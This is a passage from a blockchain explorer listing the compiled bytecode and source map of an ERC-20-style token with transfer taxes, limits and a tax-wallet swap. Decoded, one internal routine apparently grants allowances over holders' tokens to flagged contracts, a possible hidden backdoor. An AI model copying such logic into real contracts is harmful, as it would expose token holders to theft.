6007545b85906112a5565b906112b0565b90505b5f600c54118015610c735750601254600160a01b900460ff165b15610c8e57610c8b6064610c50610c498587896112bb565b90505b610ca96064610c50600954600c5411610c4557600554610c49565b6012549091506001600160a01b038581169116148015610cd757506011546001600160a01b03848116911614155b8015610cfb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610dfe57600d54821115610d525760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105b8565b600e5482610d74856001600160a01b03165f9081526001602052604090205490565b610d7e9190611649565b1115610dcc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105b8565b610de76064610c50600954600c5411610c4557600554610c49565b600c80549192505f610df88361165c565b91905055505b6012546001600160a01b038481169116148015610e2457506001600160a01b0384163014155b15610e5157610e4e6064610c50600a54600c5411610e4457600654610c49565b60085485906112a5565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610e8757506012546001600160a01b038581169116145b8015610e9c5750601254600160b01b900460ff165b8015610ea95750600f5481115b8015610eb85750600b54600c54115b15610eec57610eda610ed584610ed084601054611388565b611388565b611056565b478015610eea57610eea476111c6565b505b505b8015610f6657305f90815260016020526040902054610f0d908261139c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f5d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f8890836113a7565b6001600160a01b0385165f90815260016020526040902055610fcb610fad83836113a7565b6001600160a01b0385165f908152600160205260409020549061139c565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61101485856113a7565b60405190815260200160405180910390a350505050565b5f818484111561104e5760405162461bcd60e51b81526004016105b891906113b2565b505050900390565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061109c5761109c611674565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110f3573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111791906115e4565b8160018151811061112a5761112a611674565b6001600160a01b03928316602091820292909201015260115461115091309116846109a7565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111889085905f90869030904290600401611688565b5f604051808303815f87803b15801561119f575f80fd5b505af11580156111b1573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a4573d5f803e3d5ffd5b5f546001600160a01b031633146104b95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105b8565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f61045082846115cd565b5f61045082846116f7565b5f6001600160a01b03821630148015906112d55750333b15155b80156112ef5750335f9081526003602052604090205460ff165b1561131f57506001600160a01b0381165f9081526002602090815260408083203384529091528120849055610450565b335f9081526003602052604090205460ff16801561133d5750823b15155b801561135757506012546001600160a01b03848116911614155b1561137f576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f8183116113965782610450565b50919050565b5f6104508284611649565b5f6104508284611716565b5f6020808352835180828501525f5b818110156113dd578581018301518582016040015282016113c1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461092e575f80fd5b5f8060408385031215611422575f80fd5b823561142d816113fd565b946020939093013593505050565b5f805f6060848603121561144d575f80fd5b8335611458816113fd565b92506020840135611468816113fd565b929592945050506040919091013590565b5f60208284031215611489575f80fd5b8135610450816113fd565b5f80604083850312156114a5575f80fd5b82356114b0816113fd565b915060208301356114c0816113fd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561151957815f19048211156114ff576114ff6114cb565b8085161561150c57918102915b93841c93908002906114e4565b509250929050565b5f8261152f575060016103c8565b8161153b57505f6103c8565b8160018114611551576002811461155b57611577565b60019150506103c8565b60ff84111561156c5761156c6114cb565b50506001821b6103c8565b5060208310610133831016604e8410600b841016171561159a575081810a6103c8565b6115a483836114df565b805f19048211156115b7576115b76114cb565b029392505050565b5f61045060ff841683611521565b80820281158282048414176103c8576103c86114cb565b5f602082840312156115f4575f80fd5b8151610450816113fd565b5f805f60608486031215611611575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561163a575f80fd5b81518015158114610450575f80fd5b808201808211156103c8576103c86114cb565b5f6001820161166d5761166d6114cb565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116d65784516001600160a01b0316835293830193918301916001016116b1565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261171157634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103c8576103c86114cb56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b330caf38f12de9864ccaa1a5da48d30623eda23afb40e4d1b61c4f722f4ee964736f6c63430008150033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610318578063c9567bf91461032d578063db2e21bc14610341578063dd62ed3e14610355578063f2fde38b14610399575f80fd5b80637d1db4a51461027b5780638da5cb5b146102905780638f9a55c0146102b657806395d89b41146102cb578063a9059cbb146102f9575f80fd5b8063313ce567116100e3578063313ce567146101ee57806351bc3c851461020957806370a082311461021f578063715018a614610253578063751039fc14610267575f80fd5b806306fdde0314610129578063095ea7b3146101695780630faee56f1461019857806318160ddd146101bb57806323b872dd146101cf575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260068152650b0a8e4eae8d60d31b60208201525b60405161016091906113b2565b60405180910390f35b348015610174575f80fd5b50610188610183366004611411565b6103b8565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ad60105481565b604051908152602001610160565b3480156101c6575f80fd5b506101ad6103ce565b3480156101da575f80fd5b506101886101e936600461143b565b6103ef565b3480156101f9575f80fd5b5060405160098152602001610160565b348015610214575f80fd5b5061021d610457565b005b34801561022a575f80fd5b506101ad610239366004611479565b6001600160a01b03165f9081526001602052604090205490565b34801561025e575f80fd5b5061021d6104a8565b348015610272575f80fd5b5061021d6104bb565b348015610286575f80fd5b506101ad600d5481565b34801561029b575f80fd5b505f546040516001600160a01b039091168152602001610160565b3480156102c1575f80fd5b506101ad600e5481565b3480156102d6575f80fd5b506040805180820190915260068152650b0a8a4aaa8960d31b6020820152610153565b348015610304575f80fd5b50610188610313366004611411565b61054e565b348015610323575f80fd5b506101ad600f5481565b348015610338575f80fd5b5061021d61055a565b34801561034c575f80fd5b5061021d6108e8565b348015610360575f80fd5b506101ad61036f366004611494565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a4575f80fd5b5061021d6103b3366004611479565b610931565b5f6103c43384846109a7565b5060015b92915050565b5f6103db6009600a6115bf565b6103ea906461f313f8806115cd565b905090565b5f6103fb848484610aca565b61044c84336104478560405180606001604052806028815260200161172a602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061102b565b6109a7565b5060015b9392505050565b6004546001600160a01b0316336001600160a01b031614610476575f80fd5b305f9081526001602052604090205480156104945761049481611056565b4780156104a4576104a4476111c6565b5050565b6104b06111fd565b6104b95f611256565b565b6104c36111fd565b6104cf6009600a6115bf565b6104de906461f313f8806115cd565b600d556104ed6009600a6115bf565b6104fc906461f313f8806115cd565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61052c6009600a6115bf565b61053b906461f313f8806115cd565b60405190815260200160405180910390a1565b5f6103c4338484610aca565b6105626111fd565b601254600160a01b900460ff16156105c15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561060b9030906105fc6009600a6115bf565b610447906461f313f8806115cd565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067f91906115e4565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106de573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070291906115e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077091906115e4565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107b7816001600160a01b03165f9081526001602052604090205490565b5f806107ca5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610830573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061085591906115ff565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ce919061162a565b506012805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b031614610907575f80fd5b305f81815260016020526040902054600454909161092e916001600160a01b031683610aca565b50565b6109396111fd565b6001600160a01b03811661099e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b8565b61092e81611256565b6001600160a01b038316610a095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b8565b6001600160a01b038216610a6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b8565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b2e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b8565b6001600160a01b038216610b905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b8565b5f8111610bf15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b8565b5f80546001600160a01b03858116911614801590610c1c57505f546001600160a01b03848116911614155b15610eee57600c545f03610c5957610c566064610c50600954600c5411610c4557600554610c49565b6007545b85906112a5565b906112b0565b90505b5f600c54118015610c735750601254600160a01b900460ff165b15610c8e57610c8b6064610c50610c498587896112bb565b90505b610ca96064610c50600954600c5411610c4557600554610c49565b6012549091506001600160a01b038581169116148015610cd757506011546001600160a01b03848116911614155b8015610cfb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610dfe57600d54821115610d525760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105b8565b600e5482610d74856001600160a01b03165f9081526001602052604090205490565b610d7e9190611649565b1115610dcc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105b8565b610de76064610c50600954600c5411610c4557600554610c49565b600c80549192505f610df88361165c565b91905055505b6012546001600160a01b038481169116148015610e2457506001600160a01b0384163014155b15610e5157610e4e6064610c50600a54600c5411610e4457600654610c49565b60085485906112a5565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610e8757506012546001600160a01b038581169116145b8015610e9c5750601254600160b01b900460ff165b8015610ea95750600f5481115b8015610eb85750600b54600c54115b15610eec57610eda610ed584610ed084601054611388565b611388565b611056565b478015610eea57610eea476111c6565b505b505b8015610f6657305f90815260016020526040902054610f0d908261139c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f5d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f8890836113a7565b6001600160a01b0385165f90815260016020526040902055610fcb610fad83836113a7565b6001600160a01b0385165f908152600160205260409020549061139c565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61101485856113a7565b60405190815260200160405180910390a350505050565b5f818484111561104e5760405162461bcd60e51b81526004016105b891906113b2565b505050900390565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061109c5761109c611674565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110f3573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111791906115e4565b8160018151811061112a5761112a611674565b6001600160a01b03928316602091820292909201015260115461115091309116846109a7565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111889085905f90869030904290600401611688565b5f604051808303815f87803b15801561119f575f80fd5b505af11580156111b1573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a4573d5f803e3d5ffd5b5f546001600160a01b031633146104b95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105b8565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f61045082846115cd565b5f61045082846116f7565b5f6001600160a01b03821630148015906112d55750333b15155b80156112ef5750335f9081526003602052604090205460ff165b1561131f57506001600160a01b0381165f9081526002602090815260408083203384529091528120849055610450565b335f9081526003602052604090205460ff16801561133d5750823b15155b801561135757506012546001600160a01b03848116911614155b1561137f576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f8183116113965782610450565b50919050565b5f6104508284611649565b5f6104508284611716565b5f6020808352835180828501525f5b818110156113dd578581018301518582016040015282016113c1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461092e575f80fd5b5f8060408385031215611422575f80fd5b823561142d816113fd565b946020939093013593505050565b5f805f6060848603121561144d575f80fd5b8335611458816113fd565b92506020840135611468816113fd565b929592945050506040919091013590565b5f60208284031215611489575f80fd5b8135610450816113fd565b5f80604083850312156114a5575f80fd5b82356114b0816113fd565b915060208301356114c0816113fd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561151957815f19048211156114ff576114ff6114cb565b8085161561150c57918102915b93841c93908002906114e4565b509250929050565b5f8261152f575060016103c8565b8161153b57505f6103c8565b8160018114611551576002811461155b57611577565b60019150506103c8565b60ff84111561156c5761156c6114cb565b50506001821b6103c8565b5060208310610133831016604e8410600b841016171561159a575081810a6103c8565b6115a483836114df565b805f19048211156115b7576115b76114cb565b029392505050565b5f61045060ff841683611521565b80820281158282048414176103c8576103c86114cb565b5f602082840312156115f4575f80fd5b8151610450816113fd565b5f805f60608486031215611611575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561163a575f80fd5b81518015158114610450575f80fd5b808201808211156103c8576103c86114cb565b5f6001820161166d5761166d6114cb565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116d65784516001600160a01b0316835293830193918301916001016116b1565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261171157634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103c8576103c86114cb56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b330caf38f12de9864ccaa1a5da48d30623eda23afb40e4d1b61c4f722f4ee964736f6c63430008150033
Deployed Bytecode Sourcemap
13345:8796:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15137:83;;;;;;;;;;-1:-1:-1;15207:5:0;;;;;;;;;;;;-1:-1:-1;;;15207:5:0;;;;15137:83;;;;;;;:::i;:::-;;;;;;;;15970:161;;;;;;;;;;-1:-1:-1;15970:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;15970:161:0;1023:187:1;14381:49:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;14381:49:0;1215:177:1;15414:95:0;;;;;;;;;;;;;:::i;16139:313::-;;;;;;;;;;-1:-1:-1;16139:313:0;;;;;:::i;:::-;;:::i;15323:83::-;;;;;;;;;;-1:-1:-1;15323:83:0;;14016:1;2000:36:1;;1988:2;1973:18;15323:83:0;1858:184:1;21570:361:0;;;;;;;;;;;;;:::i;:::-;;15517:119;;;;;;;;;;-1:-1:-1;15517:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;15610:18:0;15583:7;15610:18;;;:9;:18;;;;;;;15517:119;6752:97;;;;;;;;;;;;;:::i;20689:159::-;;;;;;;;;;;;;:::i;14204:49::-;;;;;;;;;;;;;;;;6147:81;;;;;;;;;;-1:-1:-1;6193:7:0;6216:6;6147:81;;-1:-1:-1;;;;;6216:6:0;;;2445:51:1;;2433:2;2418:18;6147:81:0;2299:203:1;14260:51:0;;;;;;;;;;;;;;;;15228:87;;;;;;;;;;-1:-1:-1;15300:7:0;;;;;;;;;;;;-1:-1:-1;;;15300:7:0;;;;15228:87;;15644:167;;;;;;;;;;-1:-1:-1;15644:167:0;;;;;:::i;:::-;;:::i;14319:55::-;;;;;;;;;;;;;;;;20856:669;;;;;;;;;;;;;:::i;21939:199::-;;;;;;;;;;;;;:::i;15819:143::-;;;;;;;;;;-1:-1:-1;15819:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;15927:18:0;;;15900:7;15927:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15819:143;6994:191;;;;;;;;;;-1:-1:-1;6994:191:0;;;;;:::i;:::-;;:::i;15970:161::-;16045:4;16062:39;1909:10;16085:7;16094:6;16062:8;:39::i;:::-;-1:-1:-1;16119:4:0;15970:161;;;;;:::o;15414:95::-;15467:7;14074:13;14016:1;14074:2;:13;:::i;:::-;14059:28;;:12;:28;:::i;:::-;15487:14;;15414:95;:::o;16139:313::-;16237:4;16254:36;16264:6;16272:9;16283:6;16254:9;:36::i;:::-;16301:121;16310:6;1909:10;16332:89;16370:6;16332:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16332:19:0;;;;;;:11;:19;;;;;;;;1909:10;16332:33;;;;;;;;;;:37;:89::i;:::-;16301:8;:121::i;:::-;-1:-1:-1;16440:4:0;16139:313;;;;;;:::o;21570:361::-;21636:10;;-1:-1:-1;;;;;21636:10:0;1909;-1:-1:-1;;;;;21620:26:0;;21612:35;;;;;;21697:4;21658:20;15610:18;;;:9;:18;;;;;;21717:14;;21714:73;;21745:30;21762:12;21745:16;:30::i;:::-;21816:21;21851:12;;21848:76;;21877:35;21890:21;21877:12;:35::i;:::-;21601:330;;21570:361::o;6752:97::-;6047:13;:11;:13::i;:::-;6813:30:::1;6840:1;6813:18;:30::i;:::-;6752:97::o:0;20689:159::-;6047:13;:11;:13::i;:::-;14074::::1;14016:1;14074:2;:13;:::i;:::-;14059:28;::::0;:12:::1;:28;:::i;:::-;20743:12;:21:::0;14074:13:::1;14016:1;14074:2;:13;:::i;:::-;14059:28;::::0;:12:::1;:28;:::i;:::-;20775:14;:22:::0;20813:27:::1;14074:13;14016:1;14074:2;:13;:::i;:::-;14059:28;::::0;:12:::1;:28;:::i;:::-;20813:27;::::0;1361:25:1;;;1349:2;1334:18;20813:27:0::1;;;;;;;20689:159::o:0;15644:167::-;15722:4;15739:42;1909:10;15763:9;15774:6;15739:9;:42::i;20856:669::-;6047:13;:11;:13::i;:::-;20920:11:::1;::::0;-1:-1:-1;;;20920:11:0;::::1;;;20919:12;20911:47;;;::::0;-1:-1:-1;;;20911:47:0;;4790:2:1;20911:47:0::1;::::0;::::1;4772:21:1::0;4829:2;4809:18;;;4802:30;4868:25;4848:18;;;4841:53;4911:18;;20911:47:0::1;;;;;;;;;20969:15;:80:::0;;-1:-1:-1;;;;;;20969:80:0::1;21006:42;20969:80:::0;;::::1;::::0;;;21060:58:::1;::::0;21077:4:::1;::::0;14074:13:::1;14016:1;14074:2;:13;:::i;:::-;14059:28;::::0;:12:::1;:28;:::i;21060:58::-;21161:15;;;;;;;;;-1:-1:-1::0;;;;;21161:15:0::1;-1:-1:-1::0;;;;;21161:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;21143:55:0::1;;21207:4;21214:15;;;;;;;;;-1:-1:-1::0;;;;;21214:15:0::1;-1:-1:-1::0;;;;;21214:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21143:94;::::0;-1:-1:-1;;;;;;21143:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5426:15:1;;;21143:94:0::1;::::0;::::1;5408:34:1::0;5478:15;;5458:18;;;5451:43;5343:18;;21143:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21129:13;:108:::0;;-1:-1:-1;;;;;21129:108:0;;::::1;-1:-1:-1::0;;;;;;21129:108:0;;::::1;;::::0;;21248:15:::1;::::0;::::1;:31;21287:21;21318:4;21324:24;21318:4:::0;-1:-1:-1;;;;;15610:18:0;15583:7;15610:18;;;:9;:18;;;;;;;15517:119;21324:24:::1;21349:1;21351::::0;21353:7:::1;6193::::0;6216:6;-1:-1:-1;;;;;6216:6:0;;6147:81;21353:7:::1;21248:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;21248:129:0;;;-1:-1:-1;;;;;5864:15:1;;;21248:129:0::1;::::0;::::1;5846:34:1::0;5896:18;;;5889:34;;;;5939:18;;;5932:34;;;;5982:18;;;5975:34;6046:15;;;6025:19;;;6018:44;21361:15:0::1;6078:19:1::0;;;6071:35;5780:19;;21248:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;21395:13:0::1;::::0;21426:15:::1;::::0;21388:71:::1;::::0;-1:-1:-1;;;21388:71:0;;-1:-1:-1;;;;;21426:15:0;;::::1;21388:71;::::0;::::1;6602:51:1::0;-1:-1:-1;;6669:18:1;;;6662:34;21395:13:0;::::1;::::0;-1:-1:-1;21388:29:0::1;::::0;6575:18:1;;21388:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;21470:11:0::1;:18:::0;;-1:-1:-1;;;;21499:18:0;-1:-1:-1;;;21499:18:0;;;20856:669::o;21939:199::-;22012:10;;-1:-1:-1;;;;;22012:10:0;1909;-1:-1:-1;;;;;21996:26:0;;21988:35;;;;;;22069:4;22034:14;15610:18;;;:9;:18;;;;;;22111:10;;15610:18;;22086:44;;-1:-1:-1;;;;;22111:10:0;15610:18;22086:9;:44::i;:::-;21977:161;21939:199::o;6994:191::-;6047:13;:11;:13::i;:::-;-1:-1:-1;;;;;7079:22:0;::::1;7071:73;;;::::0;-1:-1:-1;;;7071:73:0;;7191:2:1;7071:73:0::1;::::0;::::1;7173:21:1::0;7230:2;7210:18;;;7203:30;7269:34;7249:18;;;7242:62;-1:-1:-1;;;7320:18:1;;;7313:36;7366:19;;7071:73:0::1;6989:402:1::0;7071:73:0::1;7151:28;7170:8;7151:18;:28::i;16460:335::-:0;-1:-1:-1;;;;;16553:19:0;;16545:68;;;;-1:-1:-1;;;16545:68:0;;7598:2:1;16545:68:0;;;7580:21:1;7637:2;7617:18;;;7610:30;7676:34;7656:18;;;7649:62;-1:-1:-1;;;7727:18:1;;;7720:34;7771:19;;16545:68:0;7396:400:1;16545:68:0;-1:-1:-1;;;;;16632:21:0;;16624:68;;;;-1:-1:-1;;;16624:68:0;;8003:2:1;16624:68:0;;;7985:21:1;8042:2;8022:18;;;8015:30;8081:34;8061:18;;;8054:62;-1:-1:-1;;;8132:18:1;;;8125:32;8174:19;;16624:68:0;7801:398:1;16624:68:0;-1:-1:-1;;;;;16703:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16755:32;;1361:25:1;;;16755:32:0;;1334:18:1;16755:32:0;;;;;;;16460:335;;;:::o;16803:2315::-;-1:-1:-1;;;;;16891:18:0;;16883:68;;;;-1:-1:-1;;;16883:68:0;;8406:2:1;16883:68:0;;;8388:21:1;8445:2;8425:18;;;8418:30;8484:34;8464:18;;;8457:62;-1:-1:-1;;;8535:18:1;;;8528:35;8580:19;;16883:68:0;8204:401:1;16883:68:0;-1:-1:-1;;;;;16970:16:0;;16962:64;;;;-1:-1:-1;;;16962:64:0;;8812:2:1;16962:64:0;;;8794:21:1;8851:2;8831:18;;;8824:30;8890:34;8870:18;;;8863:62;-1:-1:-1;;;8941:18:1;;;8934:33;8984:19;;16962:64:0;8610:399:1;16962:64:0;17054:1;17045:6;:10;17037:64;;;;-1:-1:-1;;;17037:64:0;;9216:2:1;17037:64:0;;;9198:21:1;9255:2;9235:18;;;9228:30;9294:34;9274:18;;;9267:62;-1:-1:-1;;;9345:18:1;;;9338:39;9394:19;;17037:64:0;9014:405:1;17037:64:0;17114:17;6216:6;;-1:-1:-1;;;;;17148:14:0;;;6216:6;;17148:14;;;;:31;;-1:-1:-1;6193:7:0;6216:6;-1:-1:-1;;;;;17166:13:0;;;6216:6;;17166:13;;17148:31;17144:1608;;;17198:9;;17209:1;17198:12;17195:140;;17243:76;17315:3;17243:67;17265:15;;17255:9;;:25;17254:55;;17295:14;;17254:55;;;17282:12;;17254:55;17243:6;;:10;:67::i;:::-;:71;;:76::i;:::-;17231:88;;17195:140;17364:1;17352:9;;:13;:28;;;;-1:-1:-1;17369:11:0;;-1:-1:-1;;;17369:11:0;;;;17352:28;17349:138;;;17413:58;17467:3;17413:49;17424:37;17446:6;17453:2;17456:4;17424:21;:37::i;17413:58::-;17401:70;;17349:138;17515:76;17587:3;17515:67;17537:15;;17527:9;;:25;17526:55;;17567:14;;17526:55;;17515:76;17632:13;;17503:88;;-1:-1:-1;;;;;;17624:21:0;;;17632:13;;17624:21;:54;;;;-1:-1:-1;17662:15:0;;-1:-1:-1;;;;;17649:29:0;;;17662:15;;17649:29;;17624:54;:82;;;;-1:-1:-1;;;;;;17684:22:0;;;;;;:18;:22;;;;;;;;17682:24;17624:82;17620:421;;;17747:12;;17736:6;:23;;17728:61;;;;-1:-1:-1;;;17728:61:0;;9626:2:1;17728:61:0;;;9608:21:1;9665:2;9645:18;;;9638:30;9704:27;9684:18;;;9677:55;9749:18;;17728:61:0;9424:349:1;17728:61:0;17843:14;;17832:6;17816:13;17826:2;-1:-1:-1;;;;;15610:18:0;15583:7;15610:18;;;:9;:18;;;;;;;15517:119;17816:13;:22;;;;:::i;:::-;:41;;17808:80;;;;-1:-1:-1;;;17808:80:0;;10110:2:1;17808:80:0;;;10092:21:1;10149:2;10129:18;;;10122:30;10188:28;10168:18;;;10161:56;10234:18;;17808:80:0;9908:350:1;17808:80:0;17919:76;17991:3;17919:67;17941:15;;17931:9;;:25;17930:55;;17971:14;;17930:55;;17919:76;18014:9;:11;;17907:88;;-1:-1:-1;18014:9:0;:11;;;:::i;:::-;;;;;;17620:421;18066:13;;-1:-1:-1;;;;;18061:18:0;;;18066:13;;18061:18;:43;;;;-1:-1:-1;;;;;;18083:21:0;;18099:4;18083:21;;18061:43;18057:175;;;18137:79;18212:3;18137:70;18159:16;;18149:9;;:26;18148:58;;18191:15;;18148:58;;;18177:13;;18137:6;;:10;:70::i;:79::-;18125:91;;18057:175;18297:4;18248:28;15610:18;;;:9;:18;;;;;;18322:6;;-1:-1:-1;;;18322:6:0;;;;18321:7;:29;;;;-1:-1:-1;18337:13:0;;-1:-1:-1;;;;;18332:18:0;;;18337:13;;18332:18;18321:29;:44;;;;-1:-1:-1;18354:11:0;;-1:-1:-1;;;18354:11:0;;;;18321:44;:88;;;;;18392:17;;18369:20;:40;18321:88;:122;;;;;18425:18;;18413:9;;:30;18321:122;18318:423;;;18464:69;18481:51;18485:6;18493:38;18497:20;18519:11;;18493:3;:38::i;:::-;18481:3;:51::i;:::-;18464:16;:69::i;:::-;18581:21;18625:22;;18621:105;;18671:35;18684:21;18671:12;:35::i;:::-;18445:296;18318:423;17180:1572;17144:1608;18767:13;;18764:165;;18839:4;18821:24;;;;:9;:24;;;;;;:39;;18850:9;18821:28;:39::i;:::-;18812:4;18794:24;;;;:9;:24;;;;;;;:66;;;;18878:39;;-1:-1:-1;;;;;18878:39:0;;;;;;;18907:9;1361:25:1;;1349:2;1334:18;;1215:177;18878:39:0;;;;;;;;18764:165;-1:-1:-1;;;;;18959:15:0;;;;;;:9;:15;;;;;;:27;;18979:6;18959:19;:27::i;:::-;-1:-1:-1;;;;;18941:15